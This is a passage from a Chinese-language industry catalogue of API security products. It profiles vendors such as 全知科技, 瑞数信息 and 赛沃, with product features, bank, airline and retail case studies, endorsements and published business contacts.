2. 保证 API 调用安全,实现态势感知、主动防御、调查响应的防护安全。 47 3. 打通移动 APP、微信小程序、第三方合作伙伴和企业内部应用的数据互联互通,整合 内外部服务能力,敏捷应对业务变化 4. 降低银行运营成本、扩大数据积累、提升客户体验,以科技为驱动解决客户痛点。 案例 B:上汽通用汽车金融 API 网关 公司背景介绍 上汽通用汽车金融还将在信息科技方面着力业务的数字化转型规划和 IT 数字化能力建设, 包括:引入人工智能机器人流程自动化解决方案,解放人力资源;搭建企业级数据仓库,提 升企业整体的数据分析应用能力;IT 数字化能力的搭建则涵盖了“产品与敏捷交付能力”、 “微服务企业架构能力”、“开发运维一体化交付能力”,为前端业务系统的迭代交付提供稳 定、快速的输出,及时响应客户与市场的需求。三大核心业务系统:新零售信贷审批系统, 经销商展厅移动应用,批发信贷车辆审批系统。 48 项目系统架构 产品主要分为 API 网关、API 监控、API 门户三部分,整体架构如下: 总体视图架构 49 实施效果图 监控图: 50 企业应用价值 ⚫ 实现 API 盈利,产生收入 通过免费、免费增值、购买、订阅或消费模式的任意组合,实现包装、价格及销 售数据驱动的产品或服务 ,为车金融领域服务商的提供增值服务。 ⚫ 构建数字化生态系统以强化业务价值 将 API 用作促进数字化生态系统发展的通道,让数字化生态系统丰富业务功能, 覆盖来自多样化合作伙伴的金融服务云平台和应用。通过 API 管理保持颗粒化控制、 合规与安全,建设金融生态圈。 ⚫ 通过分析与优化实现效果 通过使用 API 交付数据与服务,构建效率更高、性能更理想的可扩展数字化生态 系统。 51 案例 C:上汽大众开放平台 公司背景介绍 项目系统架构 数字化转型规划如下: 功能架构图: 52 53 实施效果图 54 企业应用价值 1、建设 API 网关金融服务云平台,统一外部应用调用入口,通过 API 鉴权、安全认证、流 量控制,保证服务调用的合法性和服务的正常运行。 2、保证 API 调用安全,实现态势感知、主动防御、调查响应的防护安全。 3、打通移动 APP、微信小程序、第三方合作伙伴和企业内部应用的数据互联互通,整合内 外部服务能力,敏捷应对业务变化 4、降低运营成本、扩大数据积累、提升客户体验,以科技为驱动解决客户痛点。 案例 D:中国人寿 API 安全平台 公司背景介绍 随着新数字化经济的转型,特别是云原生、微服务架构、移动 APP 的发展,导致传统网络 的边界安全基本消失,需要通过 AI 风险监测,实时监控系统交互过程中的 API 数据流动风 险,例如:缺乏安全可视化、多种攻击隐患、敏感数据泄露的风险。 项目系统架构 项目体系如下: 55 通过大数据统计分析和多模态算法建模形成资产画像(应用/API/IP/账号),实现风险事件 全链路的数据溯源,查询账号数据行为轨迹,解决风险责任人定位和追踪。 56 企业应用价值 57 58 4.适用行业:金融 整车 制造 医疗 教育 运营商 政府 地产 科研院所等所有行业 5.甲方寄语: 网络安全边界逐渐瓦解,企业业务系统的逐渐微服务化,API 的数量也在成指数级的增长, 59 内外网的 API 交互会越来越多,企业不再是个单独的个体。 派拉 API 安全产品具备高性能、易扩展、稳定可靠、产品概念良好的特性。通过对企业业 务流程的全面风险控制、数据分析和优化,建立更广阔的合作伙伴和能力开放生态系统借力 工具,降低移动应用交付周期,同时 API 管理平台与 API 网购的高度融合,为企业提供端 到端的身份安全、数据安全、安全防护方案,建设数字生态系统,真正意义上的、更满足数 据安全体系下的 API 解决方案,助力提高企业生产力,降低运营成本,增强业务价值。 API 产品经理 郭利民 5. 联系人信息: 姓名:郭梦奂 职位:市场 电话:15011406081 60 全知科技(杭州)有限责任公司 1.产品名称:知影-API 风险监测系统 2.产品特点及优势: 产品特点:API 风险监测系统,是以数据为中心,通过对 Web、APP、小程序、LoT 等应用 进行流量分析,从而实现 API 数据暴露面的治理和数据攻击行为的持续发现。 产品优势: 优势 A:是国内首家推出的 API 数据安全产品。 优势 B:不同于传统偏攻防研究,知影 API 风险监测系统以数据为中心进行研究,可以发现 更多更全的业务和数据上的风险场景。 优势 C:根据 API 的原始请求,不仅发现全量的 API,更能发现和识别 API 弱点并提供相应 的整改意见,及时修复,规避风险。 优势 D:API 风险监测系统,基于上下文的数据风险规则,发现风险,精准定位泄露源头, 并通过无监督学习算法,对 API 接口进行攻击学习,识别扫描风险。 优势 E:产品应用广泛,客户覆盖广。 3.成功案例: 案例 A:某股份制商业银行 API 安全资产和监控项目 61 案例 B: 某高校 API 数据安全治理建设项目 案例 C:某电子政务外网系统 API 数据安全监测项目 案例 D:某市电信数据安全 API 风险监测项目 所属行业:金融-银行 一、民生银行面临的数据安全挑战 近年来,银行等金融机构在业务快速发展过程中,积累了海量的客户数据、交易数据、外部 数据。这些金融数据逐渐发展为金融机构的重要资产和核心竞争力,用数据驱动业务发展, 提高经营质效,对推动金融机构的数字化转型具有重要意义。与此同时,金融机构受到的安 全威胁也越来越严重,数据泄露和被滥用的事件屡见不鲜,数据安全保护面临严峻挑战。如 何收集、使用个人金融信息,既事关金融机构业务的正常开展,也涉及客户信息、个人隐私 的保护。在此背景下,《中华人民共和国数据安全法》的发布,体现了国家立法层面对数据 安全的高度重视。 民生银行严格落实各项法律法规的要求,切实做好数据安全保障工作,将个人金融信息等数 据保护作为维护国家安全和保障广大人民群众权益的重要工作,建立了行之有效的数据安全 管理体系,针对金融数据的各个生命周期实施了安全管控措施,牢牢守住数据安全风险防范 底线。 近年的新冠疫情在给社会经济带来巨大冲击的同时,也让人们看到了数据在疫情监测、分析、 病毒溯源、防控就治、资源调配等方面发挥的支撑作用。但大数据的应用仍然存在滥用和用 户隐私保护的担忧,疫情期间匆忙上线的信息系统也可能存在安全漏洞,大量用户信息肯定 也会成为黑客攻击的目标,存在泄露个人信息的可能。因此各金融机构应进一步加强协同合 作,采取数据安全管理与技术措施综合施治,以应对不断出现的新问题和新挑战。 62 民生银行为切实加强金融数据安全保护,制定了符合法律法规要求和自身发展需求的数据安 全保障框架。 在制度建设方面,民生银行已经指定并发布了《中国民生银行数据分级管理办法》《中国民 生银行数据需求管理办法》《中国民生银行外部数据资源管理办法》《中国民生银行客户信息 安全管理办法》等十余项数据安全相关制度。 在组织管理责任方面,明确了数据安全的保护责任。金融机构数据安全保护工作涉及众多主 体及部门,为落实好行内制度规范的要求,民生银行根据数据访问关系,将数据资产关系人 分为责任归属人、数据管理及数据使用人。 在数据安全教育方面,对相关人员不断进行法律法规和流程规范的贯宣,防范人员操作风险。 同时加强关键岗位的数据安全管理,开展客户信息安全风险检查,重点排查违规保存在终端 上的客户信息、通过邮件违规外发及对敏感类文件进行操作等行为,以发现违规事件为驱动 力,使员工充分认识数据安全工作重要意义,不断提升员工数据安全风险防范意识。 二、民生银行 API 数据安全实践 全知科技是国内领先的数据安全解决方案提供商,在金融行业有着丰富的经验。全知科技认 为,API 安全制度规范是保障金融机构应用数据安全的基础和前提。 随着互联网应用的多元化复杂化,应用服务化成为显著的趋势,越来越多场景中的应用架构 中采用应用编程接口(API)作为应用间的数据传输和控制。同时 API 接口负责传输数据的 数据量以及敏感性也在增加。因此针对 API 的攻击已经变得越来越频繁和多样,API 安全逐 渐成为当今不少公司的主要关注点。在过去的几年时间里,API 面临的风险和攻击正在逐步 增长,不仅出现了 FaceBook、T-Mobile 等公司的 API 违规事件,也出现了美国邮政服务 (USPS)和 Google+的最新漏洞事件,而且在所有的安全报告中,其中披露的十大漏洞中 有 9 个与 API 安全相关。 63 之所以 API 的关注度在不断提升,主要有如下原因: ⚫ API 接口的数量在急剧增加 早期的 Web 系统(如采用 ASP、JSP 技术),服务器端负责逻辑处理,将渲染好的页面返回 到客户端。但是随着 AJAX 技术、移动应用的兴起,当前主要的应用框架都是富客户端模式, 服务器端更像是数据源,客户端通过在请求中携带参数从服务器的响应中接收原始数据,由 客户端进行一定的数据处理。这就导致服务器端需要暴露大量的 API 接口。业务的不断变 化更是让管理变得复杂。 ⚫ 传统的安全测试工具遭遇瓶颈 当前企业的安全团队,安全测试(渗透测试)往往是工作的一个重点,但是当前线上到底还 有多少“活着”的接口(API),往往没有手段能够得知。同时现有的扫描器在针对新技术架 构的扫描上,表现并不好。如扫描爬虫无法针对 APP 类的程序进行链接爬取。对于新增的 API,只能通过强制的安全审批流程才有可能在上线前确保都能得到测试,但这实际在企业 中实施成本较高。 ⚫ 数据安全在监管层面的重视度在不断提高 自欧盟的 GDPR 实施以来,数据安全在整个社会的重视度在不断增加。我国也相继出台了 《个人信息安全规范》《重要数据管理办法》以及《个人信息保护法》和《数据安全法》。网 信办、工信部等监管部门也在不断对数据安全问题进行治理。 64 而民生银行作为国内股份制头部银行,是业内首批进行 API 应用实践的金融机构,在多年 的实践中,已经建立并完善了 API 安全管理体系,对 API 全生命周期进行管理。 民生银行建立了金融数据资产管理制度,包括了将对通过金融 API 进行传输的数据进行识 别,目前已支持识别包括关键商业数据、敏感明细数据、非敏感明细数据、汇总共享数据、 公开数据等金融数据。民生银行还针对 API 接口进行了分级管理机制,针对不同安全级 在 API 安全建设方面,民生银行在较早的时候便已经开始进行 API 接口安全建设,在行业 内其他公司都在建设传统安全时,民生银行已经提出了业务接口安全相关概念,并开始相关 系统建设工作。 一开始由业务需求方带着开发进行系统建设,从业务角度出发进行建设,关注业务可用性、 可靠性、业务接口数量、响应时延、响应失败率等领域。 早期系统建设时,业务开放与安全之间并不是十分契合。存在业务接口安全监控的主导权划 分不明确和系统建设需求与建成业务系统实际效果存在一定差异等痛点。例如 1: 业务接口 安全监控的主导权在业务部门,并不在安全部门;痛点 2: 安全部门系统建设需求与现建成 的业务系统实际效果存在一定差异 基于上述问题,全知科技提出了以数据为中心的 API 风险监测方案,帮助民生银行从 2020 年开始打造基于接口安全的 API 监控体系。 65 民生银行科技部门按照集中化和本地化相结合的思路,制订了“网络安全保护“实战化、体 系化、常态化”和“动态防御、主动防御、纵深防御、精准防护、整体防控、联防联控”的 “三化六防”目标,并开展了如下实践探索。 1. 建立 API 数据台账:基于底层数据和业务资产,梳理业务 API 接口资产清单,建 立 IT 和业务统一 API 资产数据库; 通过对应用和 API 进行持续梳理,自动识别应用系统,梳理应用的部署域、访问域、涉及的 个人信息等,形成应用清单。通过自动化接口发现技术,能够将网络流量中大量的 URL 进 行聚合归类,然后提取参数配置,还原接口的技术设计形式。通过结合数据识别技术可对接 口进行分类,包括登录接口、文件上传接口、文件下载接口、数据采集接口、数据使用接口 等。帮助企业掌握个人信息的采集、使用等情况。 2. 实现 API 全链路监控:基于 API 资产数据库,建立可保障全行业务和安全需求的 监控模型,确保 API 的调用链和调用数据类型的完整性。 通过对接口状态的持续监测,识别新增、变更、失活等变化,保留个人信息接口的历史信息, 通过图表的形式,展示个人信息安全治理的进程,简化安全运营工作,提升运营效率并及时 发现异常情况。如针对个人信息使用的 API 接口治理,通过监测接口活跃状态和脱敏状态, 展示治理趋势。 3. 实时 API 流动风险发现:建立以数据为中心的流动风险识别和发现。 以短信访问接口调用为例,对比接口访问调用次数及频率,结合业务验证逻辑,建立监测是 否存在短信绕过(验证次数少于登陆次数)、或者短信炸弹(暴力破解、脚本爬虫)等的模 型; 4. API 的 Soar 的应急处置:基于发现的流动风险,结合防火墙、业务账号、WAF 等安全产品及安全运营 SOC 平台,打通各类威胁的自动化处置策略。 66 民生银行 API 安全的技术策略选择及实践能够有效地保证业务的安全运行,但技术策略只 是数据 API 安全性解决方案的一个方面,要全面达到监管要求,更需要企业在业务经营战 略中明确数据保护政策,从业务管理、制度流程、人员架构等方面建立全面的数据流动管理 机制。首先,企业高管层要高度重视确定数据流动中的数据保护政策、营造数据保护责任意 识。多层次建立数据保护制度,形成企业内部各部门数据保护责任和规则体系,明确数据收 集、转移、存储、使用等各环节的具体安全管理要求。其次,要加强数据安全监测,定期开 展跨境数据合规性安全检查,及时发现数据保护方面的漏洞并加以改进,防范数据安全风险。 方案部署图 4.适用行业:政务,金融,互联网,教育,医疗,电力,物流等 5.甲方寄语: 全知科技是一家专注于流动数据安全治理的数据安全服务厂商,是国内首家推出 API 安全 产品企业。凭借着自身不断突破的技术创新,深厚扎实的服务能力,深度剖析不同行业各大 计费系统 CRM系统 爱运维系统 大渠道系统 第三方代理商 内部人员 内部人员 . . . 浏览器访问 API访问 数据拉取 流量镜像 风险分析和审计溯源 系统 https http http 核心系统 应用数据安全探头 67 企事业单位实际情况落地数安法的管理与技术体系的框架,为政企提供智能、高效、专业、 全面的数据安全治理产品与服务,为行业和社会做出自己的贡献。 产品市场总监-申杰 6. 联系人信息: 姓名:胡艳 职位:市场专员 电话:18761655337 68 瑞数信息技术(上海)有限公司 1.产品名称:API 安全管控平台(API BotDefender) 2.产品特点及优势: 产品特点:传统 API 安全网关部署与维护成本过高,而且无法有效防护新兴自动化工具威 胁。瑞数信息创新推出 API 安全管控平台(API BotDefender),平台包括 API 资产管理、 攻击防护、敏感数据管控和访问行为管控四大模块,为 API 接口提供完整的安全管控方案, 从而解决 API 面临的各种安全风险与挑战。 产品优势: 优势 A:瑞数 API 安全管控平台(API BotDefender),为 API 接口提供了完整的安全解决 方案。 优势 B:API 多维度感知:通过 JS 和 SDK、流量分析,感知环境信息、API 账号信息等。 优势 C:API 全自动发现:自动发现 API 清单,显示 API 列表、访问情况等,实现 API 资 产管理。 优势 D:构建 API 画像:构建 API“画像”,快速预览各个业务的 API 情况,使用情况、异 常情况、访问来源等。 69 优势 E:动态响应:根据分析的结果或指定条件,进行动态拦截。 3.成功案例: 案例一:某知名零售连锁企业 某知名零售连锁企业,拥有过亿的全球用户,其线上应用日活已超 3000 万。基于行业领先 的 IT 建设,该企业采用了主流的动静分离架构,核心业务都在 API 接口上,为了保证业务 安全,很早就部署了传统 API 关、WAF、风控等安全产品。 虽然该企业已有 API 网关,但更多的是在鉴权层面起到作用,缺少 API 安全层面的发现和 管控。而传统 WAF 基于规则库,对于该企业来说是个黑盒子,只能看到拦截效果,无法透 视业务威胁,也无法从业务角度进行安全分析。风控产品则缺乏和安全平台的联动,无法帮 助该企业识别恶意行为。 在采用瑞数 API 安全管控平台(API BotDefender)后,该企业很快发现了一批未被清点、 临时接口未被关闭的 API 资产,更发现了大量异常行为和背后的异常账号设备,施了批量 封堵处理。 根据瑞数 API 安全管控平台(API BotDefender)的溯源显示,某用户通过手机号在 APP 上点单后,凭下单凭证去门店取单,取货手机号就是下单手机号。然而,该手机号在 24 小 时内已经下单超过 50 次,这显然不符合正常用户使用逻辑。同时,瑞数 API 安全管控平台 (API BotDefender)发现涉及这种异常行为的设备高达 230 个,有 80 个设备在 1 小时内 70 使用 5 个以上的账号进行下单,涉及以上行为的总共 1540 个手机号,这些传统安全产品法 识别的异常行为,都在瑞数 API 安全管控平台上清晰地展示出来,并能够被时拦截。 除了 API 资产管理和 API 异常行为管控之外,瑞数 API 安全管控平台还为该企业提供了全 生命周期的 API 安全能力,不仅覆盖 OWASP API Top10 的攻击防御,且通过 API 业务威 胁模型,可以速应对 API 的业务安全攻击,如爬虫、撞库等。 案例二:某保健美容零售连锁企业 某知名健康美容零售连锁企业在全球拥有数千万活跃会员,庞大的业务体量使得该企业一直 将信息安全作为其 IT 建设中的重中之重。为了保护线上业务安全,该企业自 2017 年起一 直采用瑞数动态应用保护系统 Botgate,对大量机器人攻击行为、薅羊毛、安全攻击等行为 进行了有效防护。 随着该企业更多的业务交易从线下转移到线上,数字化营销程度不断深入,微信小程序成为 其开展业务和营销活动的主要线上渠道之一,API 接口数量随之迅速增长,通过 API 接口发 起的攻击也越来越多。攻击者试图通过 API 越权访问会员信息,批量获取用户隐私信息,这 让该企业意识到应迅速加强 API 防护。 2022 年,该企业在原有的瑞数动态应用保护系统基础上,扩展了瑞数 API 安全管控平台 (API BotDefender)模块,补充 API 防护能力,获得了立竿见影的效果: 一是对 API 接口回传报文中的敏感信息进行脱敏处理,规避数据泄漏风险; 71 二是对 API 异常访问行为进行管控,对异常设备和账号做实时处置; 三是基于单个 API 接口访问次数进行限频,防止 CC 攻击造成业务瘫痪; 四是针对地域营销活动中黑产使用虚假定位软件的问题,进行有效的人机识别和虚假定位识 别,阻挡薅羊毛行为。 4. 适用行业:政府、金融、电信、零售、医疗等行业 5、写给甲方的寄语: 数字化趋势下,企业正越来越多地将包括核心业务在内的大部分业务都迁移至了线上,并越 来越依赖 API 整合大量系统,实现业务彼此之间的交互。但同时,通过 API 获取数据的攻 击也越来越受到黑客的欢迎,传统安全产品在应对新型 API 攻击时也逐渐力不从心。 为了解决 API 面临的各种安全风险与挑战,弥补传统安全产品的不足,瑞数信息推出瑞数 API 安全管控平台(API BotDefender),从 API 的资产管理、敏感数据管控、访问行为管 控、API 风险识别与管控等维度,体系化保障 API 安全,有效保护企业的业务安全和数据安 全。 ——瑞数信息技术总监 吴剑刚 6.联系人信息: 姓名:许芃 职位:市场经理 电话:17621061095 72 北京三江信达信息科技有限责任公司 1.产品名称:赛沃 API 安全平台 2.产品特点及优势: 产品特点:全应用、全业务,全链路自闭环,通过对于客户端设备,网络,访问行为,业务 数据的全链条监测,实现 API 的实时防护,适用于原生 APP,H5,小程序,公众号,融合 了 H5/小程序的超级 APP,以及第三方 API 等各种应用形态。 产品优势: 优势 A:云原生,全容器集群部署,适用于本地数据中心,私有云,公有云,以及各类混合 云。 优势 B:微服务架构,转发,计算,管理节点分离,各节点可按需水平扩展,弹性满足云原 生高性能和复杂计算的需求。 优势 C:流量处理结合专利的 API 安全大数据平台,可实时阻断恶意流量,自闭环实现 API 实时防护;轻量级高性能,一键部署,运维方便。 优势 D:遵循零信任安全理念,采用零信任架构,场景化解决客户 API 运行时的数据/应用 /业务现实安全问题。 73 优势 E : 客户端设备探针全覆盖,全面解决 API 访问者设备身份及环境识别难题。 3.成功案例: 案例 A: 互联网金融公司超大规模 API 业务安全网关,集群插件模式部署 客户:XX 集团 –- 互联网金融上市公司 所属行业:互联网,泛金融 项目名称:API 业务安全网关 客户痛点:客户拥有庞大的风控团队处理业务数据,也已部署防火墙,WAF,API 网关等多 种网络安全设备,但缺乏从单一系统上,对于 API 全量访问数据,包括设备,网 络以及业务数据的全链路监测,以及实时防护能力。 风险场景:爬虫,撞库,薅羊毛,越权,跳步和其它未知业务安全风险。 建设目标:API 客户端风险可感知;API 实时访问风险可识别;对于针对 API 业务逻辑漏洞 进行的攻击,可方便地定制策略进行防护;所有风险访问可全量数据溯源,可实 时阻断;API 业务梳理,建立 API 访问基线;对于缺乏鉴权机制的 API 提供动态 令牌功能支持;开放式系统,可输入输出威胁情报。 业务规模:APP/H5/小程序,三方 API,日均 20 亿请求,上百个站点,上千个业务,峰值 50,000QPS。 部署方式:多节点虚机集群部署,插件方式逻辑串联,接入上百个负载均衡流量。 防护效果:达到预期建设目标,客户高度评价。 案例 B: 航空公司全流量 API 业务风控系统 客户:XX 航空等 5 家航空公司 74 所属行业:交通运输 项目名称:API 业务风控系统 客户痛点:近年来航空公司客票销售提直降代,全面走向线上销售,但是面临电子黄牛猖獗 的局面。查订比超高,每年面临中航信巨额罚款;优惠航线被黄牛占座,造成大 量经济利益损失;航司处于数字化转型期间,缺乏业务风控能力,传统 WAF 又 无法防护,急需轻量级业务风控解决方案。 风险场景:客票价格自动化爬取,电子黄牛恶意占座,非法注册,促销活动被薅羊毛。 建设目标:全渠道 API 业务风控,零误杀实时阻断,自闭环 API 风险处置;支持验证码,重 定向,蜜罐,无感验证等多种软阻断措施;基于策略的 API 个性化防护,风险可 视化,全量数据溯源。 业务规模:APP/H5/小程序/公众号,会员通道,三方 API,100+API,峰值 2000QPS。 部署方式:多节点虚机集群部署,反代模式逻辑串联。 防护效果:查订比降到 200 以内,占座行为得到控制,客户高度认同。 案例 C:银行 H5/小程序/公众号 API 风险监测系统 客户:XX 银行等 4 家国有大行及股份制银行 所属行业:银行 项目名称:H5/小程序/公众号 API 风险监测系统 客户痛点:近年来客户移动端业务越来越多转向 H5/小程序以及公众号,行里已经部署的 APP 威胁感知系统无法防护这些新应用,尤其 H5 的 API 防护是业界公认难点。 对于这些新的应用形态,客户需要厂商提供具备从客户端到服务端 API 进行全 面风险监测的安全产品。 75 风险场景:恶意自动化注册,薅羊毛,撞库。 建设目标:H5/小程序/公众号客户端环境风险监测,服务端 API 运行风险监测,风险标签 实时输出。 业务规模:H5/小程序/公众号,首期试点峰值 1000QPS,远期目标全业务 30000QPS。 部署方式:镜像流量旁路部署,多节点虚机集群部署。 防护效果:为客户业务风控服务,效果显著。 案例 D:运营商外发 H5 业务 API 风险监测系统 客户:XXX 移动运营商 所属行业:运营商 项目名称:外发 H5 业务 API 风险监测系统 客户痛点:客户已经部署外发计费 APP SDK 的威胁监测系统,但是缺乏对于外发 H5 计费 页面的风险感知能力,业务方已经察觉有黑产在利用外发 H5 计费页面进行欺 诈,非法获利,急需外发 H5 计费页面以及相应服务端 API 运行风险的监测和 防护。 风险场景:外发计费 H5 页面遭破解,服务端 API 被恶意调用,被非法获利。 建设目标: 外发 H5 计费页面环境风险监测,服务端 API 运行风险监测,风险标签实时输 出。 业务规模:试点业务峰值 50 QPS,全面业务规划 1000QPS。 部署方式:镜像流量旁路部署,多节点虚机集群部署。 防护效果:为客户业务风控服务,效果显著。 76 案例 E: 头部医疗设备厂商电商平台 API 业务风控 客户:XX 医疗 – 医疗器械上市公司 所属行业:电商 项目名称:电商平台 API 业务风控系统 客户痛点:客户处于数字化转型当中,产品销售全面转向线上,但是缺乏业务风控能力,几 次线上促销活动被大量薅羊毛,急需建设自闭环,轻量级 API 业务风控系统。 风险场景:自动化恶意注册,促销活动被薅羊毛。 建设目标:APP/H5/小程序全渠道 API 业务风控,自闭环 API 风险处置;支持验证码,无 感验证等多种软阻断措施;定制风控策略进行 API 个性化防护,风险可视化,全 量数据可溯源。 业务规模:APP/H5/小程序/公众号,100+API,峰值 1000QPS。 部署方式:多节点虚机集群部署,反代模式逻辑串联。 防护效果:风控效果明显,客户高度评价。 4.适用行业:泛金融,运营商,互联网,航旅,电商,政务,医疗 5.给甲方的寄语: 赛沃安全成立于 2018 年 2 月,获得北极光等著名 VC 联合投资,公司创始团队由来自美 国 Netscreen, Juniper,American Express 等知名企业安全专家组成,具备深厚的企业安 全产品技术背景。 公司聚焦于企业 API 安全,涵盖业务安全,数据安全以及应用安全的防护。其赛沃安全系列 77 产品从零信任的安全理念出发,通过广义的身份识别,客户端风险检测,实时流量分析及深 度业务感知,运用专利的 AI 大数据平台技术,致力于为企业提供专业的 API 实时防护服务, 解决企业客户在线业务面临的业务欺诈,敏感信息泄露,恶意爬虫,数据资产流失等问题, 保障客户互联网业务以及对外 API 服务的安全。 公司目前推出的几款产品都已经在行业头部客户生产网顺利上线运行,因部署简单,运维方 便,防护效果突出获得了客户良好的口碑,为企业 API 的实时动态防护树立了新的行业标 杆。 创新和服务是公司宗旨,客户满意度是公司最高目标,希望用我们的产品和服务能帮助到广 大的企业客户。 联合创始人 李沙浪 6.联系人信息: 姓名:李沙浪 职位:联合创始人 电话:13910288197 78 杭州世平信息科技有限公司 1.产品名称:数据安全 API 网关平台 2.产品特点及优势: 解决企业资产自动发现、梳理形成资产列表,对异常行为、威胁行为、敏感字符进行安全检 测,根据检测结果形成安全报告,并将安全策略下发给 API 网关进行防护,发现问题并及时 告警,形成 API 安全一体化防护方案。将传统的数据库安全前移到 API 安全,提前阻断风 险发生。 功能及优势: API 发现 1. API 资产识别 2. API 暴露面识别 3. API 漏洞发现 4. 开源组件漏洞发现 API 防护 1. 攻击防护 79 2. 策略管控 3. 认证和授权 4. 敏感数据加密解密 5. 限速限流熔断 API 检测 1. 攻击行为检测 2. 异常行为检测 3. 数据泄露检测 API 响应 1. 异常行为分析告警 2. 对泄密进行溯源和追责 3. 攻击威胁、漏洞管理和响应 3.成功案例: 案例 A:XX 银行 案例 B:XX 公安厅 4.适用行业:金融、政府 5.甲方寄语: 世平数据安全 API 网关平台,打破数据孤岛,实现内外业务系统互联互通,多种安全策略守 护 API 安全。 80 副总裁 范仲辉 6. 联系人信息: 姓名:范仲辉 职位:副总裁 电话;138 0132 5381 81 思睿嘉得信息技术有限公司 1.产品名称:APIDR 2.产品特点及优势: 产品特点:攻防能力强,综合效果好 产品优势:语义识别能力强,积累多 3.成功案例: 案例 A:作业帮 apidr 项目 所属行业:在线教育行业 客户需求:公司存在被竟对频繁直接进行客户拉取的情况,需要对于数据泄漏源进行定位和 治理; 部署完产生的效果:APIDR 产品可以有效的审计敏感数据存储和透出下载的情况,发现内 鬼和外部泄露 4.适用行业:全行业,数据安全 82 5.甲方寄语: 数据安全方兴未艾,API 更是数据安全赛道中最热闹的一块,各家厂商纷纷杀入求分得一杯 羹,期望 API 安全的厂商可以不断深耕,提升敏感数据的识别能力,攻击和泄露行为的发现 能力,以及与其他安全产品的联动能力。 思睿嘉得在 DLP 赛道积累多年 ,期待产品先不断扩展,研发出更多有竞争力的产品。 6.联系人信息: 姓名:张博 职位:安全负责人 电话:15701268630 83 薮猫科技有限公司 1.产品名称:飒露紫 ADR 2.产品特点及优势: 产品特点:飒露紫 ADR (API Detection and Response)为企业提供专业的 API 安全 解决方案。基于高性能流量采集引擎及多维检测策略,对业务应用流量,进行动态画像,及 全场景式流量清洗,充分发现 API 攻击事件、业务风险及行为异常等安全问题,保障企业 应用的每一次 API 调用。 产品优势: 优势 A:流量画像 模式识别——基于持续变化的「业务和应用」流量,通过模式识别方法 和策略,关联多维特征,全方位构建业务流量画像,为后续异常检测做前置铺垫 优势 B:敏感数据 链路追踪——具备近百项主流敏感数据类型的检测能力,深度检测「结 构化和半结构化」敏感数据,快速回溯追踪具体泄露数据点位,帮助企业更精准地进行修复, 降低数据泄露风险 优势 C:异常检测 动态防御——构建行为基线,结合离群/孤立点等异常检测策略,运用机 器学习自动化,检测流量潜在异常风险,实时感知,并进行动态防御,帮助客户在第一时间 收敛风险 84 优势 D:攻击识别 风险溯源——结合多种攻击识别手段,全方位检测 API 行为潜在的安 全风险问题,并能自动化分析风险根因,帮助客户第一时间修复和止损 3.成功案例: 暂无 4.适用行业:金融、通信、互联网、新经济等 5.甲方寄语: 近年来,随着 API 巨大价值的体现,API 逐渐成为网络攻击者利用最频繁的载体,攻击呈 现指数级的增长趋势,严重危害了企业的发展。 薮猫科技依托多年云计算安全检测的经验,及端侧安全能力建设积累,基于数据分析及智能 检测技术,研发的下一代 API 安全威胁检测产品——飒露紫 ADR,围绕「检测及响应」核 心安全处置流程,帮助企业更快更准地检测 API 应用入侵和数据泄露行为,有效预防并解 决如数据风险、攻击风险、漏洞风险、账号风险等问题,全链路保护企业数据安全。 薮猫科技产品总监 周阳 6.联系人信息: 姓名:傅娅兰 职位:品牌市场 电话:18768125315 85 86 北京芯盾时代科技有限公司 1.产品名称:安全 API 网关(ZAG) 2.产品特点及优势: 产品特点:智能分析高敏感 API 资产,可实现细粒度的 API 访问权限控制,管控数据下载. 产品优势: 优势 A:精细化流控:采用同步+异步混合流控的方式,通过多种算法,实现精细化的秒级流 控,同时提供灵活自定义的流量控制策略,保障 API 服务的稳定性和连续性。 优势 B:可视化监控:提供仪表盘对 API 调用情况进行统计并监控,包括调用量、调用状态、 成功率、访问源等,快速了解当前 API 情况. 优势 C:开箱即用服务:只需要在管理控制台中配置,即可快速创建 API;提供页面调试工 具,简化 API 开发;可同时发布一个 API 到多个环境,快速迭代、测试 API。 优势 D:多层安全防护:提供了 API 认证、参数过滤、访问控制、流量控制、内网访问等多 种安全机制,形成全链路 API 安全保障方案。 3.成功案例: 案例 A:某大型企业 API 安全访问项目: 87 客户背景: 某大型国企集团,已经建设大量信息化系统,且大量 API 接口暴露在外网区域,访问人员众 多,管理难度大,复杂度高。 客户需求: 1、某大型企业采用前后端分离架构,API 无权限校验,数据访问控制无法保障; 2、存在多业务系统,数据格式未统一,业务联调测试复杂度高。 解决问题: 1、API 生命周期管理,包含 API 查询、发布、版本切换、下线、删除等; 2、统一鉴权授权管理,为 API 消费者授予不同 API 的调用权限及调用动作限制; 3、协议转换,支持 API 接口转换,统一 API 出口,提升开发测试效率; 4、API 服务治理,提供流量控制及熔断控制等能力。 解决方案: 芯盾时代 API 安全网关为企业提供 API 接口的统一代理、访问认证、数据加密、安全防护、 应用审计等能力,具体如下: 1、API 网关提供统一的认证鉴权服务,API 消费者通过 API 网关访问具体的业务数据; 2、用户访问时采用 JWT 方式进行身份校验; 3、提供协议转换能力,统一 API 出口,提升开发测试效率。 此项目建设后,大幅提升某大型企业的业务安全维护效率。 实现效果: 1、安全性高:通过安全 API 网关限制内网业务的访问,提升系统的安全性; 2、零改造:在不改造管理系统的基础上进行产品的部署与上线; 3、可移植性强:可直接对接众多业务系统,对场景条件的要求低。 88 4.适用行业:全行业如金融,政府,运营商,大型企业等 5.甲方寄语: 我国的数字经济蓬勃发展,正加速推动各行各业的数字化转型,随着企业越来越多的依托互 联网开展业务,企业需要一种高效的方式实现内部数据安全管理,降低信息泄露以及被攻击 的风险。 安全 API 网关方便企业以 API 的方式管理业务资产以及实现企业内外的服务共享,快速实 现 IT 能力。 市场总监-郭伟怡 6. 联系人信息: 姓名:王雪 职位:市场主管 电话:18311089276 89 北京星阑科技有限公司 1.产品名称:萤火 API 安全平台(API Intelligence) 2.产品特点及优势: 产品特点:辅助企业落实 API 数据安全监管、建立 API 攻击监测体系 产品优势: 优势 A:为企业提供 API 资产梳理、API 威胁检测、API 数据泄露检测能力。 优势 B:解决企业的合规问题和 API 入侵问题 优势 C:以 API 为流量入口,构建解决不同场景问题的 API 的安全应用和服务 优势 D:纵向转化成不同场景下的安全价值,最终解决数据安全、应用安全的问题 3.成功案例: ⚫ 案例 A:金融行业 API 安全解决方案 90 在金融数字化快速发展的背景下,传统的金融服务模式已经不能匹配最新的数字化需求,在 线化、智能化、场景化等数字金融生态变得随处可见;金融科技的创新发展也给金融行业的 数据安全带来了不可想象的压力。从金融生态开放的角度看,金融数据的交互、传输、共享 等往往有多方参与,涉及到品牌方、渠道商、供应商等多个主体,由此使得数据泄露风险点 激增,风险环境愈发复杂。 